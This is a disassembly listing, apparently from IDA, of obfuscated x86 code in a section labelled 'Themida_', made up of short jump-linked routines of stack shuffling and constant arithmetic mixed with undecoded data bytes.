db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55EFD3: ; CODE XREF: Themida_:00554BB7j
add edx, 4
jmp loc_55F990
; ---------------------------------------------------------------------------
db 1
dd 240C8BCDh, 4C481h, 0E9520000h, 0FFFF68E2h, 243C8B54h
dd 4C481h, 0ADE90000h, 5CFFFF1Fh, 4C581h, 0C5810000h, 4
dd 4FAE68h, 242C8900h, 42474FFh, 0E92434FFh, 0FFFFBF41h
dd 240C8B66h, 57E08950h, 0FFB6FAE9h, 0EC8158FFh, 4, 54243489h
dd 8B2434FFh, 0C4812434h, 4, 6D2768h, 240C8900h, 0C181E189h
dd 4, 4C181h, 0C870000h, 34685C24h, 0E900002Bh, 0FFFF58EEh
dd 48BFBD55h, 50534508h, 0DE5DE4B8h, 420BB1Ah, 0C30142BAh
dd 3C38158h, 4B025C2Fh, 500EB951h, 0CB01D6E2h, 8BDD2959h
dd 0C483241Ch, 51685704h, 5F053453h, 3C8BFA29h, 4C48124h
dd 0E9000000h, 371Ch, 0E3C38166h, 0B866505Eh, 52666334h
dd 0BA66h, 66C22966h, 665A6692h, 2DB96651h, 0C831665Bh
dd 3DE95966h, 0E9FFFFECh, 0FFFEECF1h, 4EAC142h, 8104E2C1h
dd 4A044F2h, 5AD501A4h, 8704ED83h, 895C242Ch, 0B9512414h
dd 4, 159CA89h, 4055AD0h, 87000000h, 0E95C2404h, 0FFFEECBDh
; ---------------------------------------------------------------------------
loc_55F108: ; CODE XREF: Themida_:0055EDF3j
xor ecx, 0B5FF92F7h
sub ebx, ecx
pop ecx
sub esp, 4
mov [esp], ebx
sub dword ptr [esp], 3348027Fh
pop edx
add edx, 3348027Fh
pop ebx
sub esp, 4
mov [esp], edx
push eax
mov eax, 37056D56h
xor [esp+4], eax
jmp loc_55C202
; ---------------------------------------------------------------------------
loc_55F13E: ; CODE XREF: Themida_:0055779Cj
mov edx, esi
pop esi
shl edx, 5
add edx, 0A715320h
mov ebp, edx
pop edx
mov eax, ebp
pop ebp
add eax, 0C63EEDE4h
add edi, eax
pop eax
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
pop dword ptr [esp]
pop esp
mov [esp], eax
mov eax, 80h
and ecx, eax
jmp loc_55AAE7
; ---------------------------------------------------------------------------
dd 10E18149h, 81427004h, 0DC11BBF1h, 8190E923h, 0E95CFFFFh
dd 0FFFF88B0h
; ---------------------------------------------------------------------------
loc_55F190: ; CODE XREF: Themida_:0055CC21j
add edi, 2E4E126Eh
mov eax, [esp]
add esp, 4
jmp loc_562644
; ---------------------------------------------------------------------------
db 53h, 0B7h, 0F3h
dd 0EF80D7F6h, 3EFC001h, 0C0E9D7F6h, 81FFFFE2h, 0C1760EF6h
dd 243C8B71h, 4C481h, 982D0000h, 2932AB6Bh, 0F2BD55F0h
dd 0E96F9767h, 0FFFFB436h, 6EFC15Fh, 78CE9h
db 0
; ---------------------------------------------------------------------------
loc_55F1DD: ; CODE XREF: Themida_:00553F98j
xor ebx, 1A13D28h
sub ebx, 0E39E7B9Bh
add ebp, ebx
mov ebx, [esp]
add esp, 4
xor eax, ebp
pop ebp
xor eax, 0EA49C4B8h
xor ecx, eax
pop eax
push 3737h
mov [esp], esi
push 2348h
jmp loc_550F93
; ---------------------------------------------------------------------------
dw 0C581h
dd 4, 4C581h, 2C870000h, 0C7815C24h, 2, 11A0E9h, 0BFBBBF00h
dd 0D5E9FE44h, 0BFFFFF5Eh, 78A72185h, 0DFF7EFD1h, 43FDE781h
dd 0CF813E3Fh, 3B8117A9h, 5C45CF81h, 0C78166C5h, 879B0D33h
dd 815FF901h, 0E90BCFE9h, 2434FF47h, 0D061E95Dh, 5AE9FFFFh
dd 0C1FFFEEBh, 0EB8103EBh, 0B38F40C3h, 0FF5869E9h, 0EC7735FFh
dd 0E3E93D73h, 81FFFF58h, 4C4h, 487EE900h, 74FFFFFFh, 0AFE90424h
dd 0B8FFFF88h, 3B3D3975h, 1325FA05h, 0F8B1E941h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F2A6: ; CODE XREF: Themida_:00559CC6j
pop edx
loc_55F2A7: ; CODE XREF: Themida_:0055040Fj
push 7579h
mov [esp], ebx
push dword ptr [esp]
pop eax
push ebp
push esp
mov ebp, [esp]
push esi
mov esi, esp
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
push edx
jmp loc_5571E3
; ---------------------------------------------------------------------------
loc_55F2D4: ; CODE XREF: Themida_:0054F522j
add eax, ecx
add eax, 3FC76240h
jmp loc_560A56
; ---------------------------------------------------------------------------
dd 772B68h, 24148900h, 0F30020BAh, 0D3E9E931h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F2F2: ; CODE XREF: Themida_:00561835j
sub ebp, 763F5Bh
xor ebp, 4141F813h
sub ebx, ebp
jmp loc_559907
; ---------------------------------------------------------------------------
db 2Ch, 6Fh, 2Ch
dd 28F02C6Ch, 0B15166E8h, 66C800F0h, 0D126E959h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F31A: ; CODE XREF: Themida_:0054E292j
mov edi, 23A25114h
xor edi, 23A25110h
add ebp, 6D112138h
jmp loc_55CC0B
; ---------------------------------------------------------------------------
dd 0E924248Bh, 0FFFF634Fh, 7F886851h, 86E93272h
db 21h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F343: ; CODE XREF: Themida_:005531B6j
sub eax, ebx
pop ebx
sub eax, ecx
jmp loc_557782
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0C2815A54h, 4, 8704C283h, 0FF5C2414h, 815A2434h, 4C4h
dd 8BE83000h, 5668240Ch, 8900006Bh, 0B6E92404h, 89FFFF77h
dd 0E589242Ch, 12BA5250h, 0C153C11Ch, 0D2F702EAh, 4D47E281h
dd 0F2811EEBh, 0A0B0847h, 0E95AD089h, 0FFFFACFCh, 0E904EC83h
dd 0FFFF0E44h, 67E68146h, 514F4926h, 0D41D3AB9h, 0E9CE3114h
dd 1A15h, 0C8BCB89h, 4C48124h, 81000000h, 120299EBh, 39C38101h
dd 0E9037351h, 0FFFF632Fh, 405h, 4EC8300h, 0FF2E80E9h
dd 5AD121FFh, 7CEAF181h, 55E95C4Ah
db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55F3F3: ; CODE XREF: Themida_:00560456j
mov edx, ebp
pop ebp
jmp loc_550D46
; ---------------------------------------------------------------------------
db 68h
dd 3162h, 0E65E9h, 0C1DFF700h, 0C78102E7h, 31498068h, 0C15FFE01h
dd 0EBE903E6h, 66FFFF87h, 0BF665752h, 816627B5h, 661F92CFh
dd 3EE9DFF7h, 68FFFF53h, 4A9Ah, 0BA241489h, 0E35712A6h
dd 815AD331h, 0C3C26C2h, 81DA293Ah, 0C3C26EAh, 0F2815B3Ah
dd 0D358993Eh, 4BEFBB53h, 0DE291795h, 5B2434FFh, 4C481h
dd 0D6010000h, 7512BA52h, 0F281290Ch, 7B7F3CDAh, 240CFF52h
dd 0D8EA815Ah, 13ADDFDh, 2064E9D6h, 0ED81FFFFh, 4F1D7673h
dd 0ACE9C501h, 81FFFFFAh, 67E644C2h, 63F281BEh, 8143441Dh
dd 0A1378CEAh, 0D1C68145h, 1000C32h, 0D1EE81D6h, 8B000C32h
dd 0C4832414h, 0BB535004h, 4, 295BD889h, 348758C6h, 5B10E924h
dd 0E95BFFFFh, 0FFFF9032h, 8904EC83h, 5FB82404h, 2936962Fh
dd 0F58158C5h, 7DC24470h, 7D40C581h, 0E956480Bh, 0FFFF3D64h
dd 8B240433h, 0F9F72424h, 8904EC83h, 8AE92434h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F507: ; CODE XREF: Themida_:005536F5j
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
push ebp
push eax
mov eax, 2
mov ebp, eax
pop eax
sub ebx, ebp
pop ebp
xchg ebx, [esp]
mov esp, [esp]
jmp loc_5628BA
; ---------------------------------------------------------------------------
dd 0FF24248Bh, 0C8B2434h, 0F7E95624h, 0BEFFFF4Eh, 25537047h
dd 8AE94E46h, 81FFFF0Ah, 5E624DEBh, 4E3C176h, 0A1ECEB81h
dd 0DE298416h, 2434875Bh, 241C895Ch, 0B850E389h, 40C27541h
dd 0C60DD0F7h, 0D5A7353h, 9F601A1h, 0DBFA3548h, 0C301FFFFh
dd 8124048Bh, 4C4h, 0F46FE900h, 0F181FFFFh, 421800Ch, 7CE9CF89h
dd 1FFFFF3h, 0DC805C8h, 5559096Fh, 0C1C6852h, 38E96532h
dd 81FFFF7Bh, 4EFh, 74FF5700h, 8F5F0424h, 248B2404h, 243C8924h
dd 0A4E9E789h, 0BB000030h, 73D71D2h, 4199CB81h, 0E9431511h
dd 0FFFFCA4Eh, 0E95AD001h, 0FFFF95E6h, 905D9A2Dh, 2434FF52h
dd 4C4815Bh, 0E9000000h, 0FFFFC737h, 1F86E94Fh, 61BD0000h
dd 2965C854h, 0E4DFE9EEh, 3C8BFFFFh, 0D2E6E924h, 0B6E9FFFFh
dd 0D0FFFEE7h, 58C180E9h, 0FF7359E9h, 405FFh, 4330000h
dd 24043124h, 0FF99F2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F629: ; CODE XREF: Themida_:00561AD7j
add ebx, 0EB0F8916h
add ebp, ebx
pop ebx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push ecx
mov ch, 0A1h
mov bh, 65h
xor bh, ch
jmp loc_552B27
; ---------------------------------------------------------------------------
db 81h
dd 0DA5C9EEAh, 0E53E91Ah
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F656: ; CODE XREF: Themida_:005621A9j
mov ebx, 3D234537h
add ebx, 39F1F251h
add ebp, 41C442FDh
jmp loc_55C057
; ---------------------------------------------------------------------------
dd 0DC8FC781h, 0EA81FEC4h, 352F75A1h, 0C281FA01h, 352F75A1h
dd 0E482E95Fh, 575CFFFFh, 0FF8A93E9h, 1F6858FFh, 89000029h
dd 0E6E92414h, 68FFFFC0h, 7F7h, 0FF243489h, 8B042474h
dd 0C4812434h, 4, 5C24048Fh, 9C240431h, 0FEE708E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F6BD: ; CODE XREF: Themida_:0054FD8Fj
mov esi, ebx
pop ebx
sub eax, esi
mov esi, [esp]
add esp, 4
push eax
pop ecx
pop eax
sub dword ptr [esp+4], 530727BBh
sub [esp+4], ecx
add dword ptr [esp+4], 530727BBh
pop ecx
mov ecx, [esp]
sub esp, 4
mov [esp], edi
push esp
pop edi
push ebp
mov ebp, 4
add edi, ebp
pop ebp
add edi, 4
xchg edi, [esp]
mov esp, [esp]
push 138Fh
mov [esp], esi
mov esi, 71439E8h
jmp loc_561D44
; ---------------------------------------------------------------------------
dd 24048B66h, 0FEE722E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55F721: ; CODE XREF: Themida_:0055B8F8j
xor al, 13h
shr al, 3
jmp loc_54E281
; ---------------------------------------------------------------------------
db 29h
dd 0F0E95EF0h, 81FFFF3Eh, 507AD8E9h, 0E833E961h, 0F587FFFFh
dd 0FF8F87E9h, 34FF59FFh, 240C8B24h, 4C481h, 0C4810000h
dd 4, 2CBE5651h, 0E91F5078h, 296Fh, 0B6DAE958h, 1487FFFFh
dd 8F545C24h, 4812404h, 424h, 0F88BE900h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55F77E: ; CODE XREF: Themida_:00555E2Bj
mov [esp], esi
mov esi, 4
jmp loc_555A68
; ---------------------------------------------------------------------------
loc_55F78B: ; CODE XREF: Themida_:00560A6Dj
push eax
mov eax, 4
add ebp, eax
jmp loc_559842
; ---------------------------------------------------------------------------
dd 0F7B8E95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F79E: ; CODE XREF: Themida_:00556C76j
mov esi, [esp]
add esp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
loc_55F7B0: ; CODE XREF: Themida_:00551059j
; Themida_:0055DE95j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push esi
sub esp, 4
jmp loc_5553AA
; ---------------------------------------------------------------------------
loc_55F7C8: ; CODE XREF: Themida_:00557B01j
sub dword ptr [esp+4], 70BA4339h
jmp loc_54E5F3
; ---------------------------------------------------------------------------
loc_55F7D5: ; CODE XREF: Themida_:00561577j
mov bl, 0FAh
mov dl, bl
pop ebx
mov ah, dl
pop edx
jmp loc_55E3FF
; ---------------------------------------------------------------------------
loc_55F7E2: ; CODE XREF: Themida_:005624F2j
and eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
or eax, eax
jz loc_55DF29
push dword ptr [edi+1Ch]
jmp loc_5587A3
; ---------------------------------------------------------------------------
db 31h
dd 14332414h, 24248B24h, 0FEE5BCE9h, 4BAFFh, 0E9810000h
dd 4E9E0477h, 30C4C181h, 0DE9267Fh, 83FFFF17h, 506604C4h
dd 0E5286AB4h, 68665866h, 89665CD3h, 81E92404h, 81FFFEE9h
dd 0E91A6FC3h, 0D4E3815Dh, 812A483Fh, 0C3547DCBh, 81E3D153h
dd 120E6FF3h, 0E9D801E7h, 0FFFF7E11h, 4C781h, 0C7830000h
dd 243C8704h, 2444815Ch, 0E2404004h, 4815D31h, 0BE39B124h
dd 242C811Dh, 1936744Ch, 0E9240429h, 0FFFF7B21h
; ---------------------------------------------------------------------------
loc_55F884: ; CODE XREF: Themida_:00561BA1j
push esp
push dword ptr [esp]
pop esi
jmp loc_55619D
; ---------------------------------------------------------------------------
dw 0ECC0h
dd 1E9AE906h, 2AE90000h
db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55F89B: ; CODE XREF: Themida_:0055D1BCj
add ecx, 0BBD313Ch
pop ebx
push ebx
jmp loc_55DBCC
; ---------------------------------------------------------------------------
dd 8B2434FFh, 1768240Ch, 0E900007Bh, 0FFFFF372h, 10C1C381h
dd 34FF4D9Bh, 24048B24h, 4C481h, 0C4830000h, 1EC16804h
dd 1E90000h
db 3Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F8D7: ; CODE XREF: Themida_:0055646Ej
mov [esp], ebp
mov ebp, 4
and ecx, ebp
jmp loc_55936F
; ---------------------------------------------------------------------------
dw 15Fh
dd 8104246Ch, 9704246Ch, 0E9185762h, 0FFFF4C31h, 0C55C181h
dd 0CB21DD3Dh, 0FF2A9CE9h, 391E68FFh, 3C890000h, 9D9E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55F912: ; CODE XREF: Themida_:00560AF8j
add ecx, 44A83450h
jmp loc_561AB8
; ---------------------------------------------------------------------------
db 0BAh, 1Dh, 1Bh
dd 0E94A0FCBh, 0FFFEF5F7h
; ---------------------------------------------------------------------------
loc_55F928: ; CODE XREF: Themida_:0055D97Dj
mov ebp, 40BA1F91h
dec ebp
sub ebp, 730510FEh
and ebp, 14FD6F7Fh
dec ebp
jmp loc_556473
; ---------------------------------------------------------------------------
dd 4055854h, 55000000h, 0FF7D30E9h, 0C8B66FFh, 5F545724h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_551C96
; ---------------------------------------------------------------------------
db 68h, 0B0h, 7Eh
dd 4890000h, 4EC8324h, 0FF346CE9h, 24248BFFh, 0FFC7C0E9h
dd 87D7F7FFh, 9B6857FEh, 0E954961Bh, 0FFFF2F75h
; ---------------------------------------------------------------------------
loc_55F990: ; CODE XREF: Themida_:0055EFD6j
xchg edx, [esp]
pop esp
jmp loc_5615E4
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 68E68956h, 3A1Fh, 0B9240C89h, 28233F0Fh, 0F703E1C1h
dd 6E9C1D9h, 1C181h, 0AEE90000h, 5AFFFF51h, 2C8BE901h
dd 0B450E924h, 248BFFFFh, 0E3F3E924h
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55F9D2: ; CODE XREF: Themida_:00553E13j
pop ebx
pop eax
push eax
mov eax, esp
add eax, 4
jmp loc_55B7E8
; ---------------------------------------------------------------------------
db 33h, 2Ch, 24h
dd 0FF24248Bh, 50592434h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_560885
; ---------------------------------------------------------------------------
db 5Ah, 56h, 55h
dd 744A9E68h, 3872E92Dh, 0DA00FFFFh, 0E90DC280h, 1D09h
dd 4B850h, 0C6890000h, 5EF50158h, 0FFF2FCE9h, 6161BEFFh
dd 0CFE92394h
db 3Dh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FA33: ; CODE XREF: Themida_:00558392j
mov [esp], edx
mov edx, esp
push 5C5Ch
mov [esp], ebp
jmp loc_55E298
; ---------------------------------------------------------------------------
db 81h, 0F5h, 1Ah
dd 81543D74h, 980102EAh, 0E658E96Ah, 4481FFFFh, 4CDE0424h
dd 0DFE912C6h
db 45h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FA63: ; CODE XREF: Themida_:0054E5E4j
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5565BD
; ---------------------------------------------------------------------------
db 59h, 1, 0C5h
dd 0FF3A27E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FA7D: ; CODE XREF: Themida_:00555667j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
shl ecx, 4
shl ecx, 3
jmp loc_554AA7
; ---------------------------------------------------------------------------
loc_55FA95: ; CODE XREF: Themida_:0055761Aj
sub edi, 59AF4A7Fh
or edi, 2A170DFCh
jmp loc_55C3AC
; ---------------------------------------------------------------------------
dw 248Bh
dd 148B6624h, 14685324h, 54000074h, 2766E9h
db 0
; ---------------------------------------------------------------------------
loc_55FAB9: ; CODE XREF: Themida_:0055E1B7j
add ecx, 0E799E170h
sub eax, ecx
pop ecx
push ebp
jmp loc_5608E2
; ---------------------------------------------------------------------------
dd 7422E781h, 0F7814DB9h, 0D57B0150h, 315FFB31h, 0B8505BDDh
dd 31E24040h, 0FFAE49E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FAE5: ; CODE XREF: Themida_:0055FE30j
mov edx, 0AF764F5h
add ecx, edx
jmp loc_55120A
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 0B761968h, 0EA815A68h, 66A0609Eh, 0BD55D2F7h, 68F87C51h
dd 0FF0BB9E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FB0D: ; CODE XREF: Themida_:0055CE8Bj
sub esp, 4
jmp loc_55D95B
; ---------------------------------------------------------------------------
dd 1A4B2D95h, 572D03ADh, 0E9655A6Ch, 0FFFFB76Bh
; ---------------------------------------------------------------------------
loc_55FB28: ; CODE XREF: Themida_:0055B617j
push ecx
jmp loc_56242A
; ---------------------------------------------------------------------------
loc_55FB2E: ; CODE XREF: Themida_:0054ECE5j
push 0D98h
jmp loc_55ADAE
; ---------------------------------------------------------------------------
dd 8B24048Fh, 0F7662424h, 476B68F1h, 2EE90000h, 0FF000005h
dd 348B2434h, 4C48324h, 0A6A1E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FB5A: ; CODE XREF: Themida_:00551A14j
push 0ABCh
jmp loc_55B5A9
; ---------------------------------------------------------------------------
loc_55FB64: ; CODE XREF: Themida_:00553AFBj
add esp, 4
jmp loc_55249F
; ---------------------------------------------------------------------------
loc_55FB6C: ; CODE XREF: Themida_:0055B0A6j
or esi, ebx
pop ebx
jmp loc_5587F4
; ---------------------------------------------------------------------------
dd 348BF389h, 4C48324h, 55FDC181h, 0E98115BAh, 38A36426h
dd 15E9D901h, 52FFFF55h, 0B03CA6BAh, 8E2C13Dh, 3BF28142h
dd 531F6576h, 193B17BBh, 0E080E970h, 2C89FFFFh, 0E9CD8924h
dd 1028h
; ---------------------------------------------------------------------------
loc_55FBB4: ; CODE XREF: Themida_:00556C23j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_55D667
; ---------------------------------------------------------------------------
dd 66C0B60Fh, 5324148Bh, 0BBDBE954h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FBD6: ; CODE XREF: Themida_:0055B918j
mov ebp, 4
mov ecx, ebp
jmp loc_560774
; ---------------------------------------------------------------------------
dw 4BEh
dd 56000000h, 5EB26852h, 4A5A7EB0h, 89C28142h, 0E94A631Dh
dd 0FFFF51ADh, 4C6815Eh, 55000000h, 4BDh, 5DEE0100h, 5C243487h
dd 0FF2421E9h, 0ECC681FFh, 810B1A11h, 8725E4C6h, 14EFE907h
dd 815D0000h, 574F02C3h, 40EB8116h, 1352074h, 251E9C3h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FC3A: ; CODE XREF: Themida_:0055A929j
shl eax, 6
sub eax, 5DDE30CBh
add eax, 0B0C7EA4Bh
mov ecx, eax
mov eax, [esp]
add esp, 4
add eax, ecx
mov ecx, [esp]
add esp, 4
and ecx, eax
pop eax
shr ecx, 0Bh
push 5D72h
loc_55FC68: ; DATA XREF: Themida_:00551D5Bo
mov [esp], ebx
push dword ptr [esp]
pop eax
push 3FECh
mov [esp], ebp
push edx
mov edx, esp
jmp loc_5571C9
; ---------------------------------------------------------------------------
db 0ACh
dd 0EC81D830h, 4, 0FF1F32E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FC8D: ; CODE XREF: Themida_:00561973j
push 13B4h
mov [esp], eax
mov eax, 41465ECEh
neg eax
jmp loc_559074
; ---------------------------------------------------------------------------
db 33h, 1Ch, 24h
dd 33241C31h, 3FE9241Ch, 68FFFFCDh, 2AE15CF9h, 0FF8B17E9h
dd 54F468FFh, 815D0D42h, 0F77CE7F5h, 7EED816Dh, 29F8F40Fh
dd 685B5DE8h, 16C2h, 55243C89h, 7685B951h, 814153C6h, 0D2253DC1h
dd 6C3AE90Bh, 34FFFFFFh, 240C8B24h, 4C481h, 81570000h
dd 4ECh, 24248900h, 4240481h, 5F000000h, 4BB53h, 0DF010000h
dd 0F891E95Bh, 0C380FFFFh, 5EBC0FFh, 45E95166h, 4FFFFC7h
dd 2CD828EEh, 1A3FE9EEh, 840F0000h, 0FFFFB4CBh, 1FD2E951h
dd 54510000h, 2CBE5659h, 8124BC05h, 176FA0CEh, 0F7D6F75Fh
dd 0DBB1E9D6h, 99BDFFFFh, 57011202h, 5A4326BFh, 2D39E947h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FD62: ; CODE XREF: Themida_:00560EB4j
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
jmp loc_54E6D4
; ---------------------------------------------------------------------------
db 0FFh
dd 815D2434h, 4C4h, 5DEA0100h, 2474FF52h, 0C9D4E904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FD8E: ; CODE XREF: Themida_:005529A1j
add eax, 4
push ebx
mov ebx, esp
jmp loc_550866
; ---------------------------------------------------------------------------
loc_55FD9B: ; CODE XREF: Themida_:0055B259j
add edx, 4
jmp loc_55E8B3
; ---------------------------------------------------------------------------
dw 0BB53h
dd 2FF718Dh, 0FF16ABE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FDB1: ; CODE XREF: Themida_:0055D25Ej
mov [esp], ebx
mov eax, [esp]
add esp, 4
jmp loc_554E5C
; ---------------------------------------------------------------------------
dw 0FEE9h
db 0DFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------
loc_55FDC7: ; CODE XREF: Themida_:00556787j
pop edx
push esi
mov esi, 5825342Fh
not esi
or esi, 6C5F183Ch
push ecx
jmp loc_54F4B6
; ---------------------------------------------------------------------------
loc_55FDDC: ; CODE XREF: Themida_:005508E9j
add edx, 1FFB4106h
push dword ptr [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_5516DF
; ---------------------------------------------------------------------------
dw 158h
dd 59C281F2h, 5E34165Eh, 0E904EC83h, 298Ch
; ---------------------------------------------------------------------------
loc_55FE0C: ; CODE XREF: Themida_:0055B54Fj
add edi, 426D50ECh
push ebp
mov ebp, edi
mov ebx, ebp
jmp loc_556B9C
; ---------------------------------------------------------------------------
dd 12E9E789h
db 13h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55FE23: ; CODE XREF: Themida_:0055D715j
shl ecx, 5
and ecx, 161B1E03h
shl ecx, 5
push edx
jmp loc_55FAE5
; ---------------------------------------------------------------------------
db 89h, 14h, 24h
dd 762768h, 24048900h, 0E688CC88h, 0F4885058h, 0FF58E388h
dd 815A2434h, 4C4h, 59D8E900h, 8157FFFFh, 4ECh, 24148900h
dd 0FF1072E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FE69: ; CODE XREF: Themida_:00558708j
sub [esp+8], edi
push dword ptr [esp]
pop edi
add esp, 4
add [esp+4], ebx
add dword ptr [esp+4], 778979E0h
jmp loc_55B63C
; ---------------------------------------------------------------------------
dd 24048B66h, 0FF9CADE9h, 4BF581FFh, 812E043Eh, 0FF2A7BEAh
dd 0E9EA2916h, 0FFFF9691h, 4BDA6853h, 0C15B7EF8h, 0F38105EBh
dd 3F7C25Ch, 67E9DD89h, 0FFFFFFD9h, 0E9592434h, 0FFFF3D14h
dd 68D830ACh, 940h, 0E9241C89h, 13D6h, 8F24248Bh, 0DE92404h
db 44h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FEDF: ; CODE XREF: Themida_:0055098Cj
push dword ptr [esp]
pop esi
push ebx
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
add ebx, ebp
pop ebp
xchg ebx, [esp]
pop esp
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_562132
; ---------------------------------------------------------------------------
dw 0DFBAh
dd 573E0362h, 945D7FBFh, 0D3F78178h, 0E94C0D0Ah, 0FFFF48DBh
dd 58E288h, 148B66D0h, 2C48124h, 53000000h, 0F8002CB7h
dd 20BDE95Bh, 9BEFFFFh, 461CD116h, 1606EE81h, 0E4E91CD1h
dd 0FFFFFF76h, 0CBE92434h
db 59h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55FF57: ; CODE XREF: Themida_:00551818j
mov ebx, 13F63ED2h
jmp loc_557E1B
; ---------------------------------------------------------------------------
loc_55FF61: ; CODE XREF: Themida_:0056133Fj
sub eax, 3B920674h
mov edi, [esp]
add esp, 4
push 6131h
mov [esp], eax
jmp loc_552EB5
; ---------------------------------------------------------------------------
dd 0C3815B54h, 4, 0FFCCEDE9h, 240C87FFh, 6624248Bh, 9C240421h
dd 0FEDE2CE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FF99: ; CODE XREF: Themida_:0055141Fj
mov [esp], ebx
push esi
jmp loc_551304
; ---------------------------------------------------------------------------
dw 2F68h
dd 89000011h, 0CFE92404h, 0B0000010h, 2CB5515Ch, 0FF1E95E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55FFB9: ; CODE XREF: Themida_:00556358j
push 28175F7Bh
pop eax
shr eax, 6
add eax, 0FF5FA287h
mov esi, eax
pop eax
add edi, esi
pop esi
sub edi, 4
xchg edi, [esp]
jmp loc_55CA69
; ---------------------------------------------------------------------------
loc_55FFDB: ; CODE XREF: Themida_:0054ED4Ej
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
push 0D08h
mov [esp], eax
jmp loc_54DDC5
; ---------------------------------------------------------------------------
db 51h
dd 0D9F626B1h, 0D02FE180h, 4EC83E9h, 0B4240489h, 0EF48079h
dd 0E3B353h, 241C8BDCh, 4C481h, 0E1280000h, 6EC78058h
dd 2807E9h, 2434FF00h, 8124048Bh, 4C4h, 4C48300h, 4EC81h
dd 34890000h, 815E5424h, 4ECh, 0E6F9E900h, 685CFFFEh, 11A2h
dd 56240C89h, 200EBD68h, 0E6C15E71h, 24C68105h, 523DCC71h
dd 0D189F289h, 0BE565E5Ah, 72808981h, 0FF078FE9h, 240489FFh
dd 2434FF54h, 4C48358h, 4BE56h, 90E90000h, 8BFFFF0Ch, 14892424h
dd 0E99C5024h, 0FFFEDD29h
; ---------------------------------------------------------------------------
loc_56009C: ; CODE XREF: Themida_:00551DB9j
mov eax, 6E590FCCh
push 6EB1h
mov [esp], eax
pop edx
jmp loc_55841F
; ---------------------------------------------------------------------------
db 68h
dd 4A7D2380h, 0E9F3815Bh, 43072C56h, 0B10E9h, 58C20100h
dd 7D3BEA81h, 0EC812CC2h, 4, 0FF52CDE9h, 243C31FFh, 5C243C33h
dd 0EC815352h, 4, 22F2E9h, 24348900h, 4B951h, 0CE890000h
dd 83240C8Bh, 0E0E904C4h, 66FFFF45h, 5A66D701h, 5FFA8966h
dd 66D02966h, 5A05665Ah, 0A273E927h, 0E958FFFFh, 321h
dd 0DC70FF05h, 2434FF43h, 4C4835Ah, 8904EC83h, 2BB241Ch
dd 1000000h, 4335BD8h, 24043124h, 0E9240433h, 0FFFF26EFh
dd 0E9240489h, 0FFFF3299h, 8104EFC1h, 0FFFFFFEFh, 0C8EF81FFh
dd 99FB03Bh, 0AE97E9FBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560162: ; CODE XREF: Themida_:005527CAj
pop ebp
pop dword ptr [esp]
pop esp
xor ecx, edx
mov edx, [esp]
add esp, 4
sub ecx, 4620257Eh
jmp loc_560A9D
; ---------------------------------------------------------------------------
db 0E9h, 43h, 0DCh
dd 515CFFFEh, 6CE9E189h
db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
